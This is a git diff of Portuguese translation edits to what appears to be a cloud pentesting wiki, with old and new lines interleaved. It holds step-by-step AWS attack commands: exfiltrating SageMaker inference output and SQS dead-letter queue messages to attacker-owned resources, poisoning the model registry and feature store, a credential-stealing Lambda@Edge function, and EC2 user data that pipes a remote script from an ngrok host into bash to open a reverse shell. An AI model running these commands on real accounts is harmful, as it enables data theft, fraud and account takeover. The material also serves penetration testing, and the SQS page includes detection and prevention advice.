- S3: Capacidade de gravar no S3 bucket controlado pelo atacante (via a role de execução do modelo ou uma política de bucket permissiva)
|
||||
- Target: An InService endpoint where asynchronous invocations are (or will be) used
|
||||
|
||||
### Etapas
|
||||
1) Obter os ProductionVariants atuais do endpoint alvo
|
||||
### Passos
|
||||
1) Coletar os ProductionVariants atuais do endpoint alvo
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Crie um bucket do atacante (assegure que a função de execução do modelo possa PutObject nele)
|
||||
2) Crie um attacker bucket (certifique-se de que a model execution role possa PutObject nele)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Acionar uma invocação assíncrona e verificar se os objetos são gravados no S3 do atacante
|
||||
4) Acionar uma invocação assíncrona e verificar se os objetos chegam ao S3 do atacante
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -117,27 +117,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Impacto
|
||||
- Redireciona resultados de inferência assíncrona (e corpos de erro) para um S3 controlado pelo atacante, possibilitando exfiltração encoberta de predições e, potencialmente, entradas pré/pós-processadas sensíveis produzidas pelo container, sem alterar o código ou a imagem do modelo e com tempo de inatividade mínimo ou inexistente.
|
||||
- Redireciona resultados de inferência assíncrona (e corpos de erro) para um S3 controlado pelo atacante, permitindo exfiltração furtiva de previsões e, potencialmente, de entradas pré/pós-processadas sensíveis produzidas pelo container, sem alterar o código do modelo ou a imagem e com tempo de inatividade mínimo/nulo.
|
||||
|
||||
|
||||
## Injeção na cadeia de suprimentos do SageMaker Model Registry via CreateModelPackage(Approved)
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
Se um atacante puder executar CreateModelPackage em um SageMaker Model Package Group alvo, ele pode registrar uma nova versão do modelo que aponta para uma imagem de container controlada pelo atacante e marcá-la imediatamente como Approved. Muitos pipelines de CI/CD implantam automaticamente versões de modelos Approved em endpoints ou training jobs, resultando em execução de código do atacante sob as funções de execução do serviço. A exposição cross-account pode ser amplificada por uma policy permissiva do recurso ModelPackageGroup.
|
||||
Se um atacante puder executar CreateModelPackage em um SageMaker Model Package Group alvo, ele pode registrar uma nova versão do modelo que aponta para uma imagem de container controlada pelo atacante e marcá-la imediatamente como Approved. Muitos pipelines de CI/CD implantam automaticamente versões de modelo Approved em endpoints ou training jobs, resultando na execução de código do atacante sob as execution roles do serviço. A exposição cross-account pode ser amplificada por uma política de recurso permissiva no ModelPackageGroup.
|
||||
|
||||
### Requisitos
|
||||
- IAM (mínimo para envenenar um grupo existente): `sagemaker:CreateModelPackage` no ModelPackageGroup alvo
|
||||
- Opcional (para criar um grupo se não existir): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Acesso de leitura ao ModelDataUrl referenciado (ou hospede artefatos controlados pelo atacante)
|
||||
- Alvo: Um Model Package Group que a automação a jusante monitora para versões Approved
|
||||
- IAM (mínimo para comprometer um grupo existente): `sagemaker:CreateModelPackage` no ModelPackageGroup alvo
|
||||
- Opcional (para criar um grupo se um não existir): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Acesso de leitura ao ModelDataUrl referenciado (ou hospedar artefatos controlados pelo atacante)
|
||||
- Alvo: Um Model Package Group que a automação downstream monitora para versões Approved
|
||||
|
||||
### Passos
|
||||
### Etapas
|
||||
1) Defina a região e crie/encontre um Model Package Group alvo
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) Preparar dados fictícios de modelo no S3
|
||||
2) Preparar dados de modelo de exemplo no S3
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Registrar uma Approved model package version maliciosa (aqui inofensiva) referenciando uma imagem pública AWS DLC
|
||||
3) Registrar uma versão de Approved model package maliciosa (aqui benigna) referenciando uma imagem pública do AWS DLC
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
@@ -162,17 +162,17 @@ cat > /tmp/inf.json << JSON
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) Verifique se a nova versão Approved existe
|
||||
4) Verifique se a nova versão aprovada existe
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Impacto
|
||||
- Envenenar o Model Registry com uma versão Approved que referencia attacker-controlled code. Pipelines que auto-deploy Approved models podem pull and run a attacker image, resultando em code execution sob endpoint/training roles.
|
||||
- Com uma política permissiva do recurso ModelPackageGroup (PutModelPackageGroupPolicy), esse abuso pode ser acionado cross-account.
|
||||
- Envenene o Model Registry com uma versão Approved que referencia código controlado pelo atacante. Pipelines que fazem auto-deploy de modelos Approved podem pull e executar a imagem do atacante, resultando em execução de código com as permissões das roles de endpoint/treinamento.
|
||||
- Com uma política de recurso ModelPackageGroup permissiva (PutModelPackageGroupPolicy), esse abuso pode ser acionado entre contas (cross-account).
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
Abuse `sagemaker:PutRecord` em um Feature Group com OnlineStore habilitado para sobrescrever valores de feature ao vivo consumidos pela inferência online. Combinado com `sagemaker:GetRecord`, um attacker pode ler features sensíveis. Isto não requer acesso a models ou endpoints.
|
||||
Abuse `sagemaker:PutRecord` em um Feature Group com OnlineStore habilitado para sobrescrever valores de features ao vivo consumidos pela inferência online. Combinado com `sagemaker:GetRecord`, um atacante pode ler features sensíveis. Isso não requer acesso a modelos ou endpoints.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
|
||||
@@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse `sagemaker:PutRecord` em um Feature Group com OnlineStore habilitado para sobrescrever valores de features ao vivo consumidos pela inferência em tempo real. Combinado com `sagemaker:GetRecord`, um atacante pode ler features sensíveis. Isso não requer acesso a modelos ou endpoints.
|
||||
Abuse `sagemaker:PutRecord` em um Feature Group com OnlineStore habilitado para sobrescrever valores de feature em produção consumidos por online inference. Combinado com `sagemaker:GetRecord`, um atacante pode ler features sensíveis. Isso não requer acesso a models ou endpoints.
|
||||
|
||||
## Requisitos
|
||||
- Permissões: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Alvo: Feature Group com OnlineStore habilitado (normalmente servindo inferência em tempo real)
|
||||
- Complexidade: **LOW** - Comandos simples do AWS CLI, nenhuma manipulação de modelo necessária
|
||||
- Alvo: Feature Group com OnlineStore habilitado (tipicamente suportando inferência em tempo real)
|
||||
- Complexidade: **LOW** - Comandos simples do AWS CLI, nenhuma manipulação de models requerida
|
||||
|
||||
## Etapas
|
||||
|
||||
@@ -21,14 +21,14 @@ aws sagemaker list-feature-groups \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) Descreva um Feature Group alvo para entender seu esquema
|
||||
2) Descrever um Feature Group de destino para entender seu esquema
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
Observe o `RecordIdentifierFeatureName`, `EventTimeFeatureName` e todas as definições de feature. Elas são necessárias para criar registros válidos.
|
||||
Observe o `RecordIdentifierFeatureName`, o `EventTimeFeatureName` e todas as definições das features. Eles são necessários para construir registros válidos.
|
||||
|
||||
### Cenário de Ataque 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
@@ -63,11 +63,11 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Impacto**: ML models que consomem esta feature agora verão `risk_score=0.99` para um usuário legítimo, potencialmente bloqueando suas transações ou serviços.
|
||||
**Impacto**: Modelos de ML que consomem essa feature verão agora `risk_score=0.99` para um usuário legítimo, potencialmente bloqueando suas transações ou serviços.
|
||||
|
||||
### Cenário de Ataque 2: Injeção Maliciosa de Dados (Criar Registros Fraudulentos)
|
||||
### Cenário de Ataque 2: Injeção de Dados Maliciosos (Criar Registros Fraudulentos)
|
||||
|
||||
Injete registros completamente novos com features manipuladas para contornar controles de segurança:
|
||||
Injete registros completamente novos com features manipuladas para evadir controles de segurança:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -91,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Impacto**: O atacante cria uma identidade falsa com baixa pontuação de risco (0.01) que pode realizar transações fraudulentas de alto valor sem acionar a detecção de fraude.
|
||||
**Impacto**: Atacante cria uma identidade falsa com baixa pontuação de risco (0.01) que pode realizar transações fraudulentas de alto valor sem acionar a detecção de fraude.
|
||||
|
||||
### Cenário de Ataque 3: Exfiltração de Dados Sensíveis
|
||||
|
||||
Ler múltiplos registros para extrair features confidenciais e perfilar o comportamento do modelo:
|
||||
Ler múltiplos registros para extrair atributos confidenciais e perfilar o comportamento do modelo:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
@@ -106,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Impacto**: Recursos confidenciais (escores de risco, padrões de transação, dados pessoais) expostos ao atacante.
|
||||
**Impacto**: Features confidenciais (pontuações de risco, padrões de transação, dados pessoais) expostas a um atacante.
|
||||
|
||||
### Criação de Feature Group para Teste/Demo (Opcional)
|
||||
### Criação de Feature Group de Teste/Demo (Opcional)
|
||||
|
||||
Se precisar criar um Feature Group de teste:
|
||||
```bash
|
||||
@@ -145,4 +145,4 @@ echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Referências
|
||||
- [Documentação do AWS SageMaker Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Melhores práticas de segurança do Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
- [Melhores Práticas de Segurança do Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
@@ -2,54 +2,54 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Description
|
||||
## Descrição
|
||||
|
||||
Abuse SQS message move tasks to steal all accumulated messages from a victim's Dead-Letter Queue (DLQ) by redirecting them to an attacker-controlled queue using `sqs:StartMessageMoveTask`. This technique exploits AWS's legitimate message recovery feature to exfiltrate sensitive data that has accumulated in DLQs over time.
|
||||
Abuse tarefas de movimentação de mensagens do SQS para roubar todas as mensagens acumuladas na Dead-Letter Queue (DLQ) de uma vítima, redirecionando-as para uma fila controlada pelo atacante usando `sqs:StartMessageMoveTask`. Essa técnica explora o recurso legítimo de recuperação de mensagens da AWS para exfiltrar dados sensíveis que se acumularam em DLQs ao longo do tempo.
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
## O que é uma Dead-Letter Queue (DLQ)?
|
||||
|
||||
Uma Dead-Letter Queue é uma fila SQS especial onde mensagens são enviadas automaticamente quando falham ao serem processadas pela aplicação principal. Essas mensagens com falha frequentemente contêm:
|
||||
Uma Dead-Letter Queue é uma fila SQS especial onde mensagens são automaticamente enviadas quando falham ao ser processadas com sucesso pela aplicação principal. Essas mensagens falhadas frequentemente contêm:
|
||||
- Dados sensíveis da aplicação que não puderam ser processados
|
||||
- Detalhes de erro e informações de debug
|
||||
- Informações Pessoais Identificáveis (PII)
|
||||
- Tokens de API, credenciais ou outros segredos
|
||||
- Detalhes de erro e informações para debug
|
||||
- Personal Identifiable Information (PII)
|
||||
- API tokens, credenciais ou outros segredos
|
||||
- Dados de transações críticos para o negócio
|
||||
|
||||
DLQs atuam como um "cemitério" para mensagens com falha, tornando-as alvos valiosos, já que acumulam dados sensíveis ao longo do tempo que as aplicações não conseguiram processar corretamente.
|
||||
DLQs funcionam como um "cemitério" para mensagens falhadas, tornando-as alvos valiosos já que acumulam dados sensíveis ao longo do tempo que as aplicações não conseguiram tratar corretamente.
|
||||
|
||||
## Attack Scenario
|
||||
## Cenário de ataque
|
||||
|
||||
**Real-world example:**
|
||||
1. **E-commerce application** processes customer orders through SQS
|
||||
2. **Some orders fail** (payment issues, inventory problems, etc.) and get moved to a DLQ
|
||||
3. **DLQ accumulates** weeks/months of failed orders containing customer data: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Attacker gains access** to AWS credentials with SQS permissions
|
||||
5. **Attacker discovers** the DLQ contains thousands of failed orders with sensitive data
|
||||
6. **Instead of trying to access individual messages** (slow and obvious), attacker uses `StartMessageMoveTask` to bulk transfer ALL messages to their own queue
|
||||
7. **Attacker extracts** all historical sensitive data in one operation
|
||||
**Exemplo real:**
|
||||
1. **Aplicação de e-commerce** processa pedidos de clientes via SQS
|
||||
2. **Alguns pedidos falham** (problemas de pagamento, falta de estoque, etc.) e são movidos para uma DLQ
|
||||
3. **A DLQ acumula** semanas/meses de pedidos falhados contendo dados de clientes: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Atacante obtém acesso** a credenciais AWS com permissões SQS
|
||||
5. **Atacante descobre** que a DLQ contém milhares de pedidos falhados com dados sensíveis
|
||||
6. **Ao invés de tentar acessar mensagens individuais** (lento e óbvio), o atacante usa `StartMessageMoveTask` para transferir em massa TODAS as mensagens para sua própria fila
|
||||
7. **Atacante extrai** todos os dados históricos sensíveis em uma única operação
|
||||
|
||||
## Requirements
|
||||
- The source queue must be configured as a DLQ (referenced by at least one queue RedrivePolicy).
|
||||
- IAM permissions (run as the compromised victim principal):
|
||||
- On DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- On destination queue: permission to deliver messages (e.g., queue policy allowing `sqs:SendMessage` from the victim principal). For same-account destinations this is typically allowed by default.
|
||||
- If SSE-KMS is enabled: on source CMK `kms:Decrypt`, and on destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
## Requisitos
|
||||
- A fila de origem deve estar configurada como uma DLQ (referenciada por pelo menos uma RedrivePolicy de alguma fila).
|
||||
- Permissões IAM (executando como o principal comprometido da vítima):
|
||||
- Na DLQ (origem): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Na fila de destino: permissão para entregar mensagens (por exemplo, política de fila permitindo `sqs:SendMessage` a partir do principal da vítima). Para destinos na mesma conta isso normalmente é permitido por padrão.
|
||||
- Se SSE-KMS estiver habilitado: na CMK de origem `kms:Decrypt`, e na CMK de destino `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impact
|
||||
Exfiltrar payloads sensíveis acumulados em DLQs (eventos com falha, PII, tokens, payloads de aplicação) em alta velocidade usando APIs nativas do SQS. Funciona cross-account se a política da fila de destino permitir `SendMessage` a partir do principal da vítima.
|
||||
## Impacto
|
||||
Exfiltra cargas sensíveis acumuladas em DLQs (eventos falhados, PII, tokens, payloads de aplicação) em alta velocidade usando as APIs nativas do SQS. Funciona cross-account se a política da fila de destino permitir `SendMessage` a partir do principal da vítima.
|
||||
|
||||
## How to Abuse
|
||||
## Como Abusar
|
||||
|
||||
- Identificar o ARN do DLQ da vítima e garantir que ele esteja realmente referenciado como DLQ por alguma fila (qualquer fila serve).
|
||||
- Identificar o ARN da DLQ da vítima e garantir que ela esteja realmente referenciada como DLQ por alguma fila (qualquer fila serve).
|
||||
- Criar ou escolher uma fila de destino controlada pelo atacante e obter seu ARN.
|
||||
- Iniciar uma message move task do DLQ da vítima para sua fila de destino.
|
||||
- Iniciar uma tarefa de movimentação de mensagens da DLQ da vítima para sua fila de destino.
|
||||
- Monitorar o progresso ou cancelar se necessário.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: An attacker has compromised AWS credentials and discovered that an e-commerce application uses SQS with a DLQ containing failed customer order processing attempts.
|
||||
**Cenário**: Um atacante comprometeu credenciais AWS e descobriu que uma aplicação de e-commerce usa SQS com uma DLQ contendo tentativas de processamento de pedidos de clientes que falharam.
|
||||
|
||||
1) **Discover and examine the victim DLQ**
|
||||
1) **Descobrir e examinar a DLQ da vítima**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
@@ -63,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Criar attacker-controlled fila de destino**
|
||||
2) **Criar fila de destino controlada pelo atacante**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
@@ -115,21 +115,21 @@ echo "Received batch of stolen data..."
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Observações sobre contas cruzadas
|
||||
- A fila de destino deve ter uma política de recurso permitindo que o principal da vítima execute `sqs:SendMessage` (e, se usado, KMS grants/permissions).
|
||||
### Notas entre contas
|
||||
- A fila de destino deve ter uma resource policy permitindo que o principal da vítima execute `sqs:SendMessage` (e, se usado, KMS grants/permissions).
|
||||
|
||||
## Por que este ataque é eficaz
|
||||
|
||||
1. **Funcionalidade legítima da AWS**: Usa funcionalidades integradas da AWS, tornando difícil detectar como malicioso
|
||||
2. **Operação em lote**: Transfere milhares de mensagens rapidamente ao invés de acesso individual lento
|
||||
3. **Dados históricos**: DLQs acumulam dados sensíveis ao longo de semanas/meses
|
||||
4. **Fora do radar**: Muitas organizações não monitoram de perto o acesso às DLQs
|
||||
5. **Capaz entre contas**: Pode exfiltrar para a própria conta AWS do atacante se as permissões permitirem
|
||||
1. **Legitimate AWS Feature**: Usa funcionalidade integrada da AWS, tornando difícil detectá-lo como malicioso
|
||||
2. **Bulk Operation**: Transfere milhares de mensagens rapidamente em vez de acesso individual lento
|
||||
3. **Historical Data**: DLQs acumulam dados sensíveis ao longo de semanas/meses
|
||||
4. **Under the Radar**: Muitas organizações não monitoram o acesso a DLQs de perto
|
||||
5. **Cross-Account Capable**: Pode exfiltrar para a própria conta AWS do atacante se as permissões permitirem
|
||||
|
||||
## Detecção e Prevenção
|
||||
|
||||
### Detecção
|
||||
Monitore o CloudTrail por chamadas API suspeitas `StartMessageMoveTask`:
|
||||
Monitor CloudTrail para chamadas API suspeitas `StartMessageMoveTask`:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
@@ -145,10 +145,10 @@ Monitore o CloudTrail por chamadas API suspeitas `StartMessageMoveTask`:
|
||||
}
|
||||
```
|
||||
### Prevenção
|
||||
1. **Princípio do menor privilégio**: Restringir permissões `sqs:StartMessageMoveTask` apenas aos roles necessários
|
||||
2. **Monitorar DLQs**: Configurar alarmes do CloudWatch para atividade incomum nas DLQs
|
||||
1. **Least Privilege**: Restringir permissões `sqs:StartMessageMoveTask` apenas aos papéis necessários
|
||||
2. **Monitor DLQs**: Configurar alarmes do CloudWatch para atividades incomuns em DLQs
|
||||
3. **Políticas entre contas**: Revisar cuidadosamente as políticas da fila SQS que permitem acesso entre contas
|
||||
4. **Criptografar DLQs**: Usar SSE-KMS com políticas de chave restritas
|
||||
5. **Limpeza regular**: Não permitir que dados sensíveis se acumulem nas DLQs indefinidamente
|
||||
5. **Limpeza Regular**: Não permita que dados sensíveis se acumulem em DLQs indefinidamente
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,13 +6,13 @@
|
||||
|
||||
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
|
||||
|
||||
Um atacante que possui as permissões cloudfront:UpdateDistribution e cloudfront:GetDistributionConfig pode modificar a configuração de uma distribuição do CloudFront. O atacante não precisa de permissões no bucket S3 alvo em si, embora o ataque seja mais fácil se esse bucket tiver uma política permissiva que permita acesso do principal de serviço cloudfront.amazonaws.com.
|
||||
Um atacante que possui as permissões `cloudfront:UpdateDistribution` e `cloudfront:GetDistributionConfig` pode modificar a configuração de uma distribuição do CloudFront. Não é necessário ter permissões no bucket S3 alvo em si, embora o ataque seja mais fácil se esse bucket tiver uma política permissiva que permita acesso do service principal `cloudfront.amazonaws.com`.
|
||||
|
||||
O atacante altera a configuração de origem da distribuição para apontar para outro bucket S3 ou para um servidor controlado pelo atacante. Primeiro ele obtém a configuração atual da distribuição:
|
||||
O atacante altera a configuração de origin da distribuição para apontar para outro bucket S3 ou para um servidor controlado pelo atacante. Primeiro ele recupera a configuração atual da distribuição:
|
||||
```bash
|
||||
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
|
||||
```
|
||||
Então eles editam current-config.json para apontar a origem para o novo recurso — por exemplo, um bucket S3 diferente:
|
||||
Em seguida, eles editam current-config.json para apontar o origin para o novo recurso — por exemplo, um bucket S3 diferente:
|
||||
```bash
|
||||
...
|
||||
"Origins": {
|
||||
@@ -170,10 +170,10 @@ body: JSON.stringify({ message: "Credentials stolen" })
|
||||
```
|
||||
|
||||
```bash
|
||||
# Empacotar a função Lambda@Edge
|
||||
# Empacote a função Lambda@Edge
|
||||
zip malicious-lambda-edge.zip malicious-lambda-edge.js
|
||||
|
||||
# Criar a função Lambda@Edge com um papel privilegiado
|
||||
# Crie a função Lambda@Edge com um role privilegiado
|
||||
aws lambda create-function \
|
||||
--function-name malicious-lambda-edge \
|
||||
--runtime nodejs18.x \
|
||||
@@ -182,7 +182,7 @@ aws lambda create-function \
|
||||
--zip-file fileb://malicious-lambda-edge.zip \
|
||||
--region <region>
|
||||
|
||||
# Publicar uma versão da função
|
||||
# Publique uma versão da função
|
||||
aws lambda publish-version --function-name malicious-lambda-edge --region <region>
|
||||
```
|
||||
|
||||
@@ -202,7 +202,7 @@ Then the attacker updates the CloudFront distribution configuration to reference
|
||||
```
|
||||
|
||||
```bash
|
||||
# Aplicar a configuração atualizada da distribuição (deve usar o ETag atual)
|
||||
# Aplicar a configuração de distribuição atualizada (deve usar o ETag atual)
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
@@ -210,7 +210,7 @@ aws cloudfront update-distribution \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
|
||||
# Acionar a função fazendo uma requisição à distribuição
|
||||
# Acione a função solicitando a distribuição
|
||||
curl -v https://<distribution-domain>.cloudfront.net/
|
||||
```
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
Para mais **informações sobre EC2** consulte:
|
||||
Para mais **informações sobre EC2** verifique:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,11 +12,11 @@ Para mais **informações sobre EC2** consulte:
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Um atacante poderia **criar uma instância anexando uma role IAM e então acessar a instância** para roubar as credenciais da role IAM do endpoint de metadata.
|
||||
Um atacante poderia **criar uma instância anexando um IAM role e então acessar a instância** para roubar as credenciais do IAM role do endpoint de metadata.
|
||||
|
||||
- **Acesso via SSH**
|
||||
|
||||
Inicie uma nova instância usando uma **criada** **ssh key** (`--key-name`) e então faça ssh nela (se quiser criar uma nova você pode precisar da permissão `ec2:CreateKeyPair`).
|
||||
Execute uma nova instância usando uma **ssh key** **criada** (`--key-name`) e então faça ssh nela (se quiser criar uma nova você pode precisar da permissão `ec2:CreateKeyPair`).
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
```
|
||||
- **Acesso via rev shell em user data**
|
||||
|
||||
Você pode executar uma nova instância usando **user data** (`--user-data`) que lhe enviará um **rev shell**. Você não precisa especificar security group desta forma.
|
||||
Você pode iniciar uma nova instância usando **user data** (`--user-data`) que irá enviar um **rev shell** para você. Você não precisa especificar security group dessa forma.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Cuidado com GuradDuty se você usar as credenciais da IAM role fora da instance:
|
||||
Tenha cuidado com GuradDuty se você usar as credenciais da IAM role fora da instância:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
@@ -44,7 +44,7 @@ Cuidado com GuradDuty se você usar as credenciais da IAM role fora da instance:
|
||||
|
||||
#### Privesc para ECS
|
||||
|
||||
Com esse conjunto de permissões você também poderia **criar uma EC2 instance e registrá-la dentro de um ECS cluster**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **EC2 instance** à qual você tem acesso e então você pode penetrar nesses serviços (docker containers) e **roubar as ECS roles associadas**.
|
||||
Com esse conjunto de permissões você também poderia **criar uma EC2 instance e registrá-la dentro de um ECS cluster**. Dessa forma, ECS **serviços** serão **executados** dentro da **EC2 instance** onde você tem acesso e então você pode penetrate those services (docker containers) e **steal their ECS roles attached**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,20 +59,20 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
Para aprender como **forçar serviços ECS a serem executados** nesta nova instância EC2, confira:
|
||||
Para aprender como **forçar ECS services a serem executados** nesta nova EC2 instance verifique:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
Se você **não puder criar uma nova instância** mas tiver a permissão `ecs:RegisterContainerInstance`, pode ser possível registrar a instância dentro do cluster e executar o ataque comentado.
|
||||
Se você **não pode criar uma nova instância** mas tem a permissão `ecs:RegisterContainerInstance` você pode ser capaz de registrar a instância dentro do cluster e executar o ataque comentado.
|
||||
|
||||
**Potential Impact:** Privesc direto para roles ECS anexadas a tasks.
|
||||
**Impacto Potencial:** Privesc direto para ECS roles anexadas às tasks.
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
Semelhante ao cenário anterior, um atacante com essas permissões poderia **alterar a IAM role de uma instância comprometida** para que pudesse roubar novas credenciais.
|
||||
Como um instance profile só pode ter 1 role, se o instance profile **já tiver uma role** (caso comum), você também precisará de **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
Semelhante ao cenário anterior, um atacante com essas permissões poderia **alterar a IAM role de uma instância comprometida** para poder roubar novas credenciais.\
|
||||
Como um instance profile pode ter apenas 1 role, se o instance profile **já tiver uma role** (caso comum), você também precisará de **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
